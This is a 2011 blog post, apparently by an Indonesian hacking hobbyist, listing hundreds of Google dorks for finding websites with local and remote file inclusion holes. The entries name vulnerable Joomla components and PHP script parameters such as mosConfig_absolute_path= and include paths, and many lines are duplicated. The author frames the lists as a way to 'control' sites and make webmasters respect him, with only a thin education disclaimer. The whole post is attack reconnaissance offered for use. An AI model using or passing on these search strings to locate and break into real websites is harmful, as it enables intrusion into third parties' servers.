Sunday, August 28, 2011

LFI & RFI Goggle Dork

Now I will post about LFI & RFI, but this only dork just goggle for
 tutorials will follow. Since posting my tutorials will be step by step
 so you could control and make the webmaster thought not to
 underestimate you again, and it is definitely me too. Once again this
 is only for pendindikan course, if you abuse it the same rights and
 your risks.

!lfi submitComment.php?DOCUMENT_ROOT= submitComment.php
 !lfi index.php?option=com_beeheard&controller=
 index.php?option=com_beeheard
 !lfi index.php?option=com_arcadegames&controller= option=com_arcadegames
 !lfi index.php?option=com_flashgames&controller= "option=com_flashgames"
 !lfi /index.php?option=com_addressbook&controller= "option=com_addressbook"
 !lfi index.php?option=com_advertising&controller=
 index.php?option=com_advertising
 !lfi /index.php?option=com_cvmaker&controller= /index.php?option=com_cvmaker
 !lfi index.php?option=com_myfiles&controller=
 index.php?option=com_myfiles
 !lfi index.php?option=com_onlineexam&controller= "option=com_onlineexam"
 !lfi /index.php?option=com_joommail&controller= /index.php?option=com_joommail
 !lfi /index.php?option=com_memory&controller= "option=com_memory"
 !lfi index.php?option=com_market&controller= "?option=com_market"
 !lfi index.php?option=com_diary&controller= index.php?option=com_diary
 !lfi /index.php?option=com_worldrates&controller= option=com_worldrates
 !lfi index.php?option=com_record&controller= index.php?option=com_record
 !lfi index.php?option=com_sweetykeeper&controller=
 index.php?option=com_sweetykeeper
 !lfi index.php?option=com_wgpicasa&controller=
 index.php?option=com_wgpicasa
 !lfi /index.php?option=com_s5clanroster&view= /index.php?option=com_s5clanroster
 !lfi index.php?option=com_photobattle&view=
 index.php?option=com_photobattle
 !lfi index.php?option=com_mtfireeagle&controller=
 index.php?option=com_mtfireeagle
 !lfi index.php?option=com_lovefactory&controller=
 index.php?option=com_lovefactory
 !lfi index.php?option=com_jacomment&view= option=com_jacomment
 !lfi index.php?option=com_delicious&controller=
 index.php?option=com_delicious&controller=
 !lfi index.php?option=com_blogfactory&controller=
 index.php?option=com_blogfactory
 !lfi index.php?option=com_sebercart&view= index.php?option=com_sebercart
 !lfi index.php?option=com_jwhmcs&controller= index.php?option=com_jwhmcs
 !lfi index.php?option=com_jukebox&controller=
 index.php?option=com_jukebox
 !lfi index.php?option=com_joomlaflickr&controller=
 index.php?option=com_joomlaflickr
 !lfi index.php?option=com_hsconfig&controller=

 index.php?option=com_hsconfig
 !lfi index.php?option=com_fabrik&controller= index.php?option=com_fabrik
 !lfi index.php?option=com_datafeeds&controller=
 index.php?option=com_datafeeds
 !lfi /index.php?option=com_appointment&controller= /index.php?option=com_appointment
 !lfi tools.php?p= powered by Plume CMS
 !lfi index.php?option=com_awiki&controller= index.php?option=com_awiki
 !lfi index.php?option=com_webeecomment&controller=
 index.php?option=com_webeecomment
 !lfi index.php?option=com_realtyna&controller=
 index.php?option=com_realtyna
 !lfi index.php?option=com_powermail&controller=
 index.php?option=com_powermail
 !lfi /index.php?option=com_foobla_suggestions&controller=
 option=com_foobla_suggestions
 !lfi index.php?option=com_pcchess&controller=
 index.php?option=com_pcchess
 !lfi index.php?option=com_tweetla&controller=
 index.php?option=com_tweetla
 !lfi index.php?option=com_ticketbook&controller=
 index.php?option=com_ticketbook
 !lfi index.php?option=com_jfeedback&controller=
 index.php?option=com_jfeedback
 !lfi index.php?option=com_jprojectmanager&controller=
 index.php?option=com_jprojectmanager
 !lfi index.php?option=com_spsnewsletter&controller=
 index.php?option=com_spsnewsletter
 !lfi index.php?option=com_alphauserpoints&view=
 ndex.php?option=com_alphauserpoints
 !lfi index.php?option=com_travelbook&controller=
 index.php?option=com_travelbook
 !lfi index.php?option=com_webtv&controller= index.php?option=com_webtv
 !lfi index.php?option=com_horoscope&controller=
 index.php?option=com_horoscope
 !lfi index.php?option=com_rd_download&view=download&cid=
 index.php?option=com_rd_download
 !lfi /modules/pages/index.php?id= pL-PHP
 !lfi index.php?option=com_abbrev&controller= index.php?option=com_abbrev
 !lfi /index.php?modname= Docebo
 !lfi bbcode_inputs.php?layout= bbcode_inputs.php
 !lfi /index.php?p= JaxCMS
 !lfi index.php?option=com_otzivi&controller= index.php?option=com_otzivi
 !lfi /jsloader.php?files[]= jsloader.php
 !lfi file.php?file[]= file.php
 !lfi vbseo.php?vbseoembedd=1&vbseourl= vbseo.php
 !lfi firstvisit.php?lang_global= firstvisit.php
 !lfi /modules/hayoo/index.php?theme= TRIBISUR
 !lfi index.php?option=com_juliaportfolio&controller=
 index.php?option=com_juliaportfolio
 !lfi index.php?option=com_sbsfile&controller=
 index.php?option=com_sbsfile
 !lfi index.php?option=com_gcalendar&controller=
 index.php?option=com_gcalendar
 !lfi index.php?option=com_ninjarsssyndicator&controller=
 index.php?option=com_ninjarsssyndicator
 !lfi index.php?option=com_rpx&controller= index.php?option=com_rpx
 !lfi index.php?option=com_linkr&controller= index.php?option=com_linkr
 !lfi index.php?option=com_janews&controller= option=com_janews
 !lfi index.php?option=com_ganalytics&controller=
 index.php?option=com_ganalytics
 !lfi index.php?option=com_sectionex&controller=
 index.php?option=com_sectionex
 !lfi index.php?option=com_rokdownloads&controller=
 option=com_rokdownloads
 !lfi index.php?option=com_rwcards&view=rwcards&controller=
 index.php?option=com_rwcards
 !lfi index.php?option=com_news_portal&controller=
 index.php?option=com_news_portal
 !lfi index.php?option=com_jinventory&controller=
 index.php?option=com_jinventory
 !lfi index.php?option=com_wisroyq&controller=
 index.php?option=com_wisroyq
 !lfi /index.php?option=com_redtwitter&view= /index.php?option=com_redtwitter
 !lfi index.php?option=com_redshop&view= index.php?option=com_redshop
 !lfi upload.php?language= upload.php?language=
 !lfi index.php?option=com_weberpcustomer&controller=
 index.php?option=com_weberpcustomer
 !lfi /index.php?option=com_userstatus&controller= option=com_userstatus
 !lfi index.php?option=com_jvehicles&controller=
 index.php?option=com_jvehicles
 !lfi index.php?option=com_econtent&controller=
 index.php?option=com_econtent
 !lfi alpha.php?Absolute_Path= alpha.php?Absolute_Path=
 !lfi payment.php?page_id= payment.php
 !lfi index.php?option=com_dwgraphs&controller=
 index.php?option=com_dwgraphs
 !lfi index.php?w= Pepsi CMS
 !lfi index.php?action= index.php?action=
 !lfi graph.php?go= "graph.php?go="
 !lfi index.php?pg= "index.php?pg="
 !lfi index.php?option=com_smestorage&controller=
 index.php?option=com_smestorage
 !lfi index.php?option=com_properties&controller=
 index.php?option=com_properties
 !lfi index.php?option=com_jeformcr&view= index.php?option=com_jeformcr
 !lfi /index.php?option=com_myblog&Itemid=12&task= "com_myblog"
 !lfi /index.php?option=com_juliaportfolio&controller= "com_juliaportfolio"
 !lfi /index.php?option=com_sbsfile&controller= "com_sbsfile"
 !lfi /index.php?option=com_rokdownloads&controller= "com_rokdownloads"
 !lfi /index.php?option=com_sectionex&controller= "com_sectionex"
 !lfi /index.php?option=com_ganalytics&controller= "com_ganalytics"
 !lfi /index.php?option=com_janews&controller= "com_janews"
 !lfi /index.php?option=com_linkr&controller= "com_linkr"
 !lfi /index.php?option=com_rpx&controller= "com_rpx"
 !lfi /index.php?option=com_ninjarsssyndicator&controller= "com_ninjarsssyndicator"
 !lfi /index.php?option=com_gcalendar&controller= "com_gcalendar"
 !lfi /index.php?option=com_ckforms&controller= "com_ckforms"
 !lfi /index.php?option=com_jeformcr&view= "com_jeformcr"
 !lfi /index.php?option=com_jresearch&controller= "com_jresearch"
 !lfi /index.php?option=com_smestorage&controller= "com_smestorage"
 !lfi /index.php?option=com_properties&controller= "com_properties"
 !lfi /index.php?option=com_dwgraphs&controller= "com_dwgraphs"
 !lfi /index.php?option=com_weberpcustomer&controller= "com_weberpcustomer"
 !lfi /index.php?option=com_userstatus&controller= "com_userstatus"
 !lfi /index.php?option=com_econtent&controller= "com_econtent"
 !lfi /index.php?option=com_jvehicles&controller= "com_jvehicles"
 !lfi /index.php?option=com_joomlapicasa2&controller= "com_joomlapicasa2"
 !lfi /index.php?option=com_svmap&controller= "com_svmap"
 !lfi /index.php?option=com_shoutbox&controller= "com_shoutbox"
 !lfi /index.php?option=com_loginbox&view= "com_loginbox"
 !lfi /index.php?option=com_myblog&Itemid=12&task= "com_myblog"
 !lfi /index.php?option=com_juliaportfolio&controller= "com_juliaportfolio"
 !lfi /index.php?option=com_sbsfile&controller= "com_sbsfile"
 !lfi /index.php?option=com_rokdownloads&controller= "com_rokdownloads"
 !lfi /index.php?option=com_sectionex&controller= "com_sectionex"
 !lfi /index.php?option=com_ganalytics&controller= "com_ganalytics"
 !lfi /index.php?option=com_janews&controller= "com_janews"
 !lfi /index.php?option=com_linkr&controller= "com_linkr"
 !lfi /index.php?option=com_rpx&controller= "com_rpx"
 !lfi /index.php?option=com_ninjarsssyndicator&controller= "com_ninjarsssyndicator"
 !lfi /index.php?option=com_gcalendar&controller= "com_gcalendar"
 !lfi /index.php?option=com_ckforms&controller= "com_ckforms"
 !lfi /index.php?option=com_jeformcr&view= "com_jeformcr"
 !lfi /index.php?option=com_jresearch&controller= "com_jresearch"
 !lfi /index.php?option=com_smestorage&controller= "com_smestorage"
 !lfi /index.php?option=com_properties&controller= "com_properties"
 !lfi /index.php?option=com_dwgraphs&controller= "com_dwgraphs"
 !lfi /index.php?option=com_weberpcustomer&controller= "com_weberpcustomer"
 !lfi /index.php?option=com_userstatus&controller= "com_userstatus"
 !lfi /index.php?option=com_econtent&controller= "com_econtent"
 !lfi /index.php?option=com_jvehicles&controller= "com_jvehicles"
 !lfi /index.php?option=com_joomlapicasa2&controller= "com_joomlapicasa2"
 !lfi /index.php?option=com_svmap&controller= "com_svmap"
 !lfi /index.php?option=com_shoutbox&controller= "com_shoutbox"
 !lfi /index.php?option=com_loginbox&view= "com_loginbox"
 !lfi /index.php?option=com_bca-rss-syndicator&controller= "com_bca-rss-syndicator"
 !lfi /index.php?option=com_joomlaupdater&controller= "com_joomlaupdater"
 !lfi /index.php?option=com_redshop&view= "com_redshop"
 !lfi /index.php?option=com_redtwitter&view= "com_redtwitter"
 !lfi /index.php?option=com_wisroyq&controller= "com_wisroyq"
 !lfi /index.php?option=com_jinventory&controller= "com_jinventory"
 !lfi /index.php?option=com_appointment&controller= "com_appointment"
 !lfi /index.php?option=com_datafeeds&controller= "com_datafeeds"
 !lfi /index.php?option=com_fabrik&controller= "com_fabrik"
 !lfi /index.php?option=com_hsconfig&controller= "com_hsconfig"
 !lfi /index.php?option=com_joomlaflickr&controller= "com_joomlaflickr"
 !lfi /index.php?option=com_jukebox&controller= "com_jukebox"
 !lfi /index.php?option=com_jwhmcs&controller= "com_jwhmcs"
 !lfi /index.php?option=com_sebercart&view= "com_sebercart"
 !lfi /index.php?option=com_awiki&controller= "com_awiki"
 !lfi /index.php?option=com_vjdeo&controller= "com_vjdeo"
 !lfi /index.php?option=com_awdwall&controller= "com_awdwall"
 !lfi /index.php?option=com_realtyna&controller= "com_realtyna"
 !lfi /index.php?option=com_webeecomment&controller= "com_webeecomment"
 !lfi /index.php?option=com_javoice&view= "com_javoice"
 !lfi /index.php?option=com_foobla_suggestions&controller= "com_foobla_suggestions"
 !lfi /index.php?option=com_powermail&controller= "com_powermail"
 !lfi /index.php?option=com_pcchess&controller= "com_pcchess"
 !lfi /index.php?option=com_spsnewsletter&controller= "com_spsnewsletter"
 !lfi /index.php?option=com_alphauserpoints&view= "com_alphauserpoints"
 !lfi /index.php?option=com_travelbook&controller= "com_travelbook"
 !lfi /index.php?option=com_tweetla&controller= "com_tweetla"
 !lfi /index.php?option=com_ticketbook&controller= "com_ticketbook"
 !lfi /index.php?option=com_jajobboard&view= "com_jajobboard"
 !lfi /index.php?option=com_jajobboard&controller= "com_jajobboard"
 !lfi /index.php?option=com_jfeedback&controller= "com_jfeedback"
 !lfi /index.php?option=com_jprojectmanager&controller= "com_jprojectmanager"
 !lfi /index.php?option=com_preventive&controller= "com_preventive"
 !lfi /index.php?option=com_myfiles&controller= "com_myfiles"
 !lfi /index.php?option=com_onlineexam&controller= "com_onlineexam"
 !lfi /index.php?option=com_joommail&controller= "com_joommail"
 !lfi /index.php?option=com_memory&controller= "com_memory"
 !lfi /index.php?option=com_market&controller= "com_market"
 !lfi /index.php?option=com_diary&controller= "com_diary"
 !lfi /index.php?option=com_webtv&controller= "com_webtv"
 !lfi /index.php?option=com_horoscope&controller= "com_horoscope"
 !lfi /index.php?option=com_arcadegames&controller= "com_arcadegames"
 !lfi /index.php?option=com_flashgames&controller= "com_flashgames"
 !lfi /index.php?option=com_addressbook&controller= "com_addressbook"
 !lfi /index.php?option=com_flexicontent&controller= "com_flexicontent"
 !lfi /index.php?option=com_advertising&controller= "com_advertising"
 !lfi /index.php?option=com_cvmaker&controller= "com_cvmaker"
 !lfi /index.php?option=com_worldrates&controller= "com_worldrates"
 !lfi /index.php?option=com_record&controller= "com_record"
 !lfi /index.php?option=com_sweetykeeper&controller= "com_sweetykeeper"
 !lfi /index.php?option=com_beeheard&controller= "com_beeheard"
 !lfi /index.php?option=com_blogfactory&controller= "com_blogfactory"
 !lfi /index.php?option=com_delicious&controller= "com_delicious"
 !lfi /index.php?option=com_jacomment&view= "com_jacomment"
 !lfi /index.php?option=com_lovefactory&controller= "com_lovefactory"
 !lfi /index.php?option=com_mtfireeagle&controller= "com_mtfireeagle"
 !lfi /index.php?option=com_photobattle&view= "com_photobattle"
 !lfi /index.php?option=com_s5clanroster&view= "com_s5clanroster"
 !lfi /index.php?option=com_s5clanroster&controller= "com_s5clanroster"
 !lfi /index.php?option=com_wgpicasa&controller= "com_wgpicasa"
 !lfi /index.php?option=com_zimbcomment&controller= "com_zimbcomment"
 !lfi /index.php?option=com_zimbcore&controller= "com_zimbcore"
 !lfi /index.php?option=com_gadgetfactory&controller= "com_gadgetfactory"
 !lfi /index.php?option=com_matamko&controller= "com_matamko"
 !lfi /index.php?option=com_archeryscores&controller= "com_archeryscores"
 !lfi /index.php?option=com_multiroot&controller= "com_multiroot"
 !lfi /index.php?option=com_multimap&controller= "com_multimap"
 !lfi /index.php?option=com_drawroot&controller= "com_drawroot"
 !lfi /index.php?option=com_google&controller= "com_google"
 !lfi /index.php?option=com_if_surfalert&controller= "com_if_surfalert"
 !lfi /index.php?option=com_orgchart&controller= "com_orgchart"
 !lfi /index.php?option=com_mmsblog&controller= "com_mmsblog"
 !lfi /index.php?option=com_wmi&controller= "com_wmi"
 !lfi /index.php?option=com_ultimateportfolio&controller= "com_ultimateportfolio"
 !lfi /index.php?option=com_noticeboard&controller= "com_noticeboard"
 !lfi /index.php?option=com_smartsite&controller= "com_smartsite"
 !lfi /index.php?option=com_graphics&controller= "com_graphics"
 !lfi /index.php?option=com_php&file= "com_php"
 !lfi /index.php?option=com_aardvertiser&task= "com_aardvertiser"
 !lfi /index.php?option=com_jejob&view= "com_jejob"
 !lfi /index.php?option=com_jeajaxeventcalendar&view= "com_jeajaxeventcalendar"
 !lfi /index.php?option=com_dioneformwizard&controller= "com_dioneformwizard"
 !lfi /index.php?option=com_jequoteform&view= "com_jequoteform"
 !lfi /index.php?option=com_mscomment&controller= "com_mscomment"
 !lfi /index.php?option=com_simpledownload&controller= "com_simpledownload"
 !lfi /index.php?option=com_event&view= "com_event"
 !lfi /index.php?option=com_product&controller= "com_product"
 !lfi /index.php?option=com_job&controller= "com_job"
 !lfi /index2.php?option=com_simpledownload&controller= "com_simpledownload"
 !lfi /index.php?option=com_perchaimageattach&controller= "com_perchaimageattach"
 !lfi /index.php?option=com_perchafieldsattach&controller= "com_perchafieldsattach"
 !lfi /index.php?option=com_perchadownloadsattach&controller= "index.php?option=com_perchadownloadsattach"
 !lfi /index.php?option=com_perchagallery&controller= "index.php?option=com_perchagallery"
 !lfi /index.php?option=com_perchacategoriestree&controller= "com_perchacategoriestree"

Hei Guys.... Klik Me

!lfi index.php?option=com_dwgraphs&controller=
 index.php?option=com_dwgraphs
 !lfi index.php?option=com_otzivi&controller= index.php?option=com_otzivi
 !lfi index.php?option=com_abbrev&controller= index.php?option=com_abbrev
 !lfi /justVisual/system/pageTemplate.php?fs_jVroot= "fs_jVroot"
 !lfi /viart_cms-3.3.2/blocks/block_site_map.php?root_folder_path= "includes/navigator.php"
 !lfi /index.php3?aide= "et utilise le squelette EVA-Web"
 !lfi /index.php?exec= "lib/file.common.php" "disconnectdb.php"
 !lfi /client_files/shopping_cart/pgm-shopping_css.inc.php?_SESSION[docroot_path]= "/sohoadmin/includes/mysql_insert.class.php"
 !lfi /index.php?option=com_easybook&controller= "index.php?option=com_easybook"
 !lfi /index.php?option=com_bsq_sitestats&controller= "index.php?option=com_bsq_sitestats"
 !lfi /index.php?option=com_swmenufree&controller= "index.php?option=com_swmenufree"
 !lfi /index.php?option=com_letterman&controller= "index.php?option=com_letterman"
 !lfi /index.php?option=com_jpgraph&controller= "index.php?option=com_jpgraph"
 !lfi /index.php?option=com_joomap&controller= "index.php?option=com_joomap"
 !lfi /index.php?option=com_joomlaflashfun&controller= "index.php?option=com_joomlaflashfun"

Dork LFI

!lfi /index.php?option=com_myblog&Itemid=12&task= "com_myblog"
 !lfi /index.php?option=com_juliaportfolio&controller= "com_juliaportfolio"
 !lfi /index.php?option=com_sbsfile&controller= "com_sbsfile"
 !lfi /index.php?option=com_rokdownloads&controller= "com_rokdownloads"
 !lfi /index.php?option=com_sectionex&controller= "com_sectionex"
 !lfi /index.php?option=com_ganalytics&controller= "com_ganalytics"
 !lfi /index.php?option=com_janews&controller= "com_janews"
 !lfi /index.php?option=com_linkr&controller= "com_linkr"
 !lfi /index.php?option=com_rpx&controller= "com_rpx"
 !lfi /index.php?option=com_ninjarsssyndicator&controller= "com_ninjarsssyndicator"
 !lfi /index.php?option=com_gcalendar&controller= "com_gcalendar"
 !lfi /index.php?option=com_ckforms&controller= "com_ckforms"
 !lfi /index.php?option=com_jeformcr&view= "com_jeformcr"
 !lfi /index.php?option=com_jresearch&controller= "com_jresearch"
 !lfi /index.php?option=com_smestorage&controller= "com_smestorage"
 !lfi /index.php?option=com_properties&controller= "com_properties"
 !lfi /index.php?option=com_dwgraphs&controller= "com_dwgraphs"
 !lfi /index.php?option=com_weberpcustomer&controller= "com_weberpcustomer"
 !lfi /index.php?option=com_userstatus&controller= "com_userstatus"
 !lfi /index.php?option=com_econtent&controller= "com_econtent"
 !lfi /index.php?option=com_jvehicles&controller= "com_jvehicles"
 !lfi /index.php?option=com_joomlapicasa2&controller= "com_joomlapicasa2"
 !lfi /index.php?option=com_svmap&controller= "com_svmap"
 !lfi /index.php?option=com_shoutbox&controller= "com_shoutbox"
 !lfi /index.php?option=com_loginbox&view= "com_loginbox"
 !lfi /index.php?option=com_myblog&Itemid=12&task= "com_myblog"
 !lfi /index.php?option=com_juliaportfolio&controller= "com_juliaportfolio"
 !lfi /index.php?option=com_sbsfile&controller= "com_sbsfile"
 !lfi /index.php?option=com_rokdownloads&controller= "com_rokdownloads"
 !lfi /index.php?option=com_sectionex&controller= "com_sectionex"
 !lfi /index.php?option=com_ganalytics&controller= "com_ganalytics"
 !lfi /index.php?option=com_janews&controller= "com_janews"
 !lfi /index.php?option=com_linkr&controller= "com_linkr"
 !lfi /index.php?option=com_rpx&controller= "com_rpx"
 !lfi /index.php?option=com_ninjarsssyndicator&controller= "com_ninjarsssyndicator"
 !lfi /index.php?option=com_gcalendar&controller= "com_gcalendar"
 !lfi /index.php?option=com_ckforms&controller= "com_ckforms"
 !lfi /index.php?option=com_jeformcr&view= "com_jeformcr"
 !lfi /index.php?option=com_jresearch&controller= "com_jresearch"
 !lfi /index.php?option=com_smestorage&controller= "com_smestorage"
 !lfi /index.php?option=com_properties&controller= "com_properties"
 !lfi /index.php?option=com_dwgraphs&controller= "com_dwgraphs"
 !lfi /index.php?option=com_weberpcustomer&controller= "com_weberpcustomer"
 !lfi /index.php?option=com_userstatus&controller= "com_userstatus"
 !lfi /index.php?option=com_econtent&controller= "com_econtent"
 !lfi /index.php?option=com_jvehicles&controller= "com_jvehicles"
 !lfi /index.php?option=com_joomlapicasa2&controller= "com_joomlapicasa2"
 !lfi /index.php?option=com_svmap&controller= "com_svmap"
 !lfi /index.php?option=com_shoutbox&controller= "com_shoutbox"
 !lfi /index.php?option=com_loginbox&view= "com_loginbox"
 !lfi /index.php?option=com_bca-rss-syndicator&controller= "com_bca-rss-syndicator"
 !lfi /index.php?option=com_joomlaupdater&controller= "com_joomlaupdater"
 !lfi /index.php?option=com_redshop&view= "com_redshop"
 !lfi /index.php?option=com_redtwitter&view= "com_redtwitter"
 !lfi /index.php?option=com_wisroyq&controller= "com_wisroyq"
 !lfi /index.php?option=com_jinventory&controller= "com_jinventory"
 !lfi /index.php?option=com_appointment&controller= "com_appointment"
 !lfi /index.php?option=com_datafeeds&controller= "com_datafeeds"
 !lfi /index.php?option=com_fabrik&controller= "com_fabrik"
 !lfi /index.php?option=com_hsconfig&controller= "com_hsconfig"
 !lfi /index.php?option=com_joomlaflickr&controller= "com_joomlaflickr"
 !lfi /index.php?option=com_jukebox&controller= "com_jukebox"
 !lfi /index.php?option=com_jwhmcs&controller= "com_jwhmcs"
 !lfi /index.php?option=com_sebercart&view= "com_sebercart"
 !lfi /index.php?option=com_awiki&controller= "com_awiki"
 !lfi /index.php?option=com_vjdeo&controller= "com_vjdeo"
 !lfi /index.php?option=com_awdwall&controller= "com_awdwall"
 !lfi /index.php?option=com_realtyna&controller= "com_realtyna"
 !lfi /index.php?option=com_webeecomment&controller= "com_webeecomment"
 !lfi /index.php?option=com_javoice&view= "com_javoice"
 !lfi /index.php?option=com_foobla_suggestions&controller= "com_foobla_suggestions"
 !lfi /index.php?option=com_powermail&controller= "com_powermail"
 !lfi /index.php?option=com_pcchess&controller= "com_pcchess"
 !lfi /index.php?option=com_spsnewsletter&controller= "com_spsnewsletter"
 !lfi /index.php?option=com_alphauserpoints&view= "com_alphauserpoints"
 !lfi /index.php?option=com_travelbook&controller= "com_travelbook"
 !lfi /index.php?option=com_tweetla&controller= "com_tweetla"
 !lfi /index.php?option=com_ticketbook&controller= "com_ticketbook"
 !lfi /index.php?option=com_jajobboard&view= "com_jajobboard"
 !lfi /index.php?option=com_jajobboard&controller= "com_jajobboard"
 !lfi /index.php?option=com_jfeedback&controller= "com_jfeedback"
 !lfi /index.php?option=com_jprojectmanager&controller= "com_jprojectmanager"
 !lfi /index.php?option=com_preventive&controller= "com_preventive"
 !lfi /index.php?option=com_myfiles&controller= "com_myfiles"
 !lfi /index.php?option=com_onlineexam&controller= "com_onlineexam"
 !lfi /index.php?option=com_joommail&controller= "com_joommail"
 !lfi /index.php?option=com_memory&controller= "com_memory"
 !lfi /index.php?option=com_market&controller= "com_market"
 !lfi /index.php?option=com_diary&controller= "com_diary"
 !lfi /index.php?option=com_webtv&controller= "com_webtv"
 !lfi /index.php?option=com_horoscope&controller= "com_horoscope"
 !lfi /index.php?option=com_arcadegames&controller= "com_arcadegames"
 !lfi /index.php?option=com_flashgames&controller= "com_flashgames"
 !lfi /index.php?option=com_addressbook&controller= "com_addressbook"
 !lfi /index.php?option=com_flexicontent&controller= "com_flexicontent"
 !lfi /index.php?option=com_advertising&controller= "com_advertising"
 !lfi /index.php?option=com_cvmaker&controller= "com_cvmaker"
 !lfi /index.php?option=com_worldrates&controller= "com_worldrates"
 !lfi /index.php?option=com_record&controller= "com_record"
 !lfi /index.php?option=com_sweetykeeper&controller= "com_sweetykeeper"
 !lfi /index.php?option=com_beeheard&controller= "com_beeheard"
 !lfi /index.php?option=com_blogfactory&controller= "com_blogfactory"
 !lfi /index.php?option=com_delicious&controller= "com_delicious"
 !lfi /index.php?option=com_jacomment&view= "com_jacomment"
 !lfi /index.php?option=com_lovefactory&controller= "com_lovefactory"
 !lfi /index.php?option=com_mtfireeagle&controller= "com_mtfireeagle"
 !lfi /index.php?option=com_photobattle&view= "com_photobattle"
 !lfi /index.php?option=com_s5clanroster&view= "com_s5clanroster"
 !lfi /index.php?option=com_s5clanroster&controller= "com_s5clanroster"
 !lfi /index.php?option=com_wgpicasa&controller= "com_wgpicasa"
 !lfi /index.php?option=com_zimbcomment&controller= "com_zimbcomment"
 !lfi /index.php?option=com_zimbcore&controller= "com_zimbcore"
 !lfi /index.php?option=com_gadgetfactory&controller= "com_gadgetfactory"
 !lfi /index.php?option=com_matamko&controller= "com_matamko"
 !lfi /index.php?option=com_archeryscores&controller= "com_archeryscores"
 !lfi /index.php?option=com_multiroot&controller= "com_multiroot"
 !lfi /index.php?option=com_multimap&controller= "com_multimap"
 !lfi /index.php?option=com_drawroot&controller= "com_drawroot"
 !lfi /index.php?option=com_google&controller= "com_google"
 !lfi /index.php?option=com_if_surfalert&controller= "com_if_surfalert"
 !lfi /index.php?option=com_orgchart&controller= "com_orgchart"
 !lfi /index.php?option=com_mmsblog&controller= "com_mmsblog"
 !lfi /index.php?option=com_wmi&controller= "com_wmi"
 !lfi /index.php?option=com_ultimateportfolio&controller= "com_ultimateportfolio"
 !lfi /index.php?option=com_noticeboard&controller= "com_noticeboard"
 !lfi /index.php?option=com_smartsite&controller= "com_smartsite"
 !lfi /index.php?option=com_graphics&controller= "com_graphics"
 !lfi /index.php?option=com_php&file= "com_php"
 !lfi /index.php?option=com_aardvertiser&task= "com_aardvertiser"
 !lfi /index.php?option=com_jejob&view= "com_jejob"
 !lfi /index.php?option=com_jeajaxeventcalendar&view= "com_jeajaxeventcalendar"
 !lfi /index.php?option=com_dioneformwizard&controller= "com_dioneformwizard"
 !lfi /index.php?option=com_jequoteform&view= "com_jequoteform"
 !lfi /index.php?option=com_mscomment&controller= "com_mscomment"
 !lfi /index.php?option=com_simpledownload&controller= "com_simpledownload"
 !lfi /index.php?option=com_event&view= "com_event"
 !lfi /index.php?option=com_product&controller= "com_product"
 !lfi /index.php?option=com_job&controller= "com_job"
 !lfi /index2.php?option=com_simpledownload&controller= "com_simpledownload"
 !lfi /index.php?option=com_perchaimageattach&controller= "com_perchaimageattach"
 !lfi /index.php?option=com_perchafieldsattach&controller= "com_perchafieldsattach"
 !lfi /index.php?option=com_perchagallery&controller= "com_perchagallery"

RFI

 inurl:/modules/mod_mainmenu.php?mosConfig_absolute_path=

inurl:/include/new-visitor.inc.php?lvc_include_dir=

inurl:/_functions.php?prefix=

inurl:/cpcommerce/_functions.php?prefix=

inurl:/modules/coppermine/themes/default/theme.php?THEME_DIR=

inurl:/modules/agendax/addevent.inc.php?agendax_path=

inurl:/ashnews.php?pathtoashnews=

inurl:/eblog/blog.inc.php?xoopsConfig[xoops_url]=

inurl:/pm/lib.inc.php?pm_path=

inurl:/b2-tools/gm-2-b2.php?b2inc=

inurl:/modules/mod_mainmenu.php?mosConfig_absolute_path=

inurl:/modules/agendax/addevent.inc.php?agendax_path=

inurl:/includes/include_once.php?include_file=

inurl:/e107/e107_handlers/secure_img_render.php?p=

inurl:/shoutbox/expanded.php?conf=

inurl:/main.php?x=

inurl:/myPHPCalendar/admin.php?cal_dir=

inurl:/index.php/main.php?x=

inurl:/index.php?include=

inurl:/index.php?x=

inurl:/index.php?open=

inurl:/index.php?visualizar=

inurl:/template.php?pagina=

inurl:/index.php?pagina=

inurl:/index.php?inc=

inurl:/includes/include_onde.php?include_file=

inurl:/index.php?page=

inurl:/index.php?pg=

inurl:/index.php?show=

inurl:/index.php?cat=

inurl:/index.php?file=

inurl:/db.php?path_local=

inurl:/index.php?site=

inurl:/htmltonuke.php?filnavn=

inurl:/livehelp/inc/pipe.php?HCL_path=

inurl:/hcl/inc/pipe.php?HCL_path=

inurl:/inc/pipe.php?HCL_path=

inurl:/support/faq/inc/pipe.php?HCL_path=

inurl:/help/faq/inc/pipe.php?HCL_path=

inurl:/helpcenter/inc/pipe.php?HCL_path=

inurl:/live-support/inc/pipe.php?HCL_path=

inurl:/gnu3/index.php?doc=

inurl:/gnu/index.php?doc=

inurl:/phpgwapi/setup/tables_update.inc.php?appdir=

inurl:/forum/install.php?phpbb_root_dir=

inurl:/includes/calendar.php?phpc_root_path=

inurl:/includes/setup.php?phpc_root_path=

inurl:/inc/authform.inc.php?path_pre=

inurl:/include/authform.inc.php?path_pre=

inurl:index.php?nic=

inurl:index.php?sec=

inurl:index.php?content=

inurl:index.php?link=

inurl:index.php?filename=

inurl:index.php?dir=

inurl:index.php?document=

inurl:index.php?view=

inurl:*.php?sel=

inurl:*.php?session=&content=

inurl:*.php?locate=

inurl:*.php?place=

inurl:*.php?layout=

inurl:*.php?go=

inurl:*.php?catch=

inurl:*.php?mode=

inurl:*.php?name=

inurl:*.php?loc=

inurl:*.php?f=

inurl:*.php?inf=

inurl:*.php?pg=

inurl:*.php?load=

inurl:*.php?naam=

allinurl:/index.php?page= site:*.dk

allinurl:/index.php?file= site:*.dk

INURL OR ALLINURL WITH:


/temp_eg/phpgwapi/setup/tables_update.inc.php?appdir=

/includes/header.php?systempath=

/Gallery/displayCategory.php?basepath=

/index.inc.php?PATH_Includes=

/ashnews.php?pathtoashnews=

/ashheadlines.php?pathtoashnews=

/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=

/demo/includes/init.php?user_inc=

/jaf/index.php?show=

/inc/shows.inc.php?cutepath=

/poll/admin/common.inc.php?base_path=

/pollvote/pollvote.php?pollname=

/sources/post.php?fil_config=

/modules/My_eGallery/public/displayCategory.php?basepath=

/bb_lib/checkdb.inc.php?libpach=

/include/livre_include.php?no_connect=lol&chem_absolu=

/index.php?from_market=Y&pageurl=

/modules/mod_mainmenu.php?mosConfig_absolute_path=

/pivot/modules/module_db.php?pivot_path=

/modules/4nAlbum/public/displayCategory.php?basepath=

/derniers_commentaires.php?rep=

/modules/coppermine/themes/default/theme.php?THEME_DIR=

/modules/coppermine/include/init.inc.php?CPG_M_DIR=

/modules/coppermine/themes/coppercop/theme.php?THEME_DIR=

/coppermine/themes/maze/theme.php?THEME_DIR=

/allmylinks/include/footer.inc.php?_AMLconfig[cfg_serverpath]=

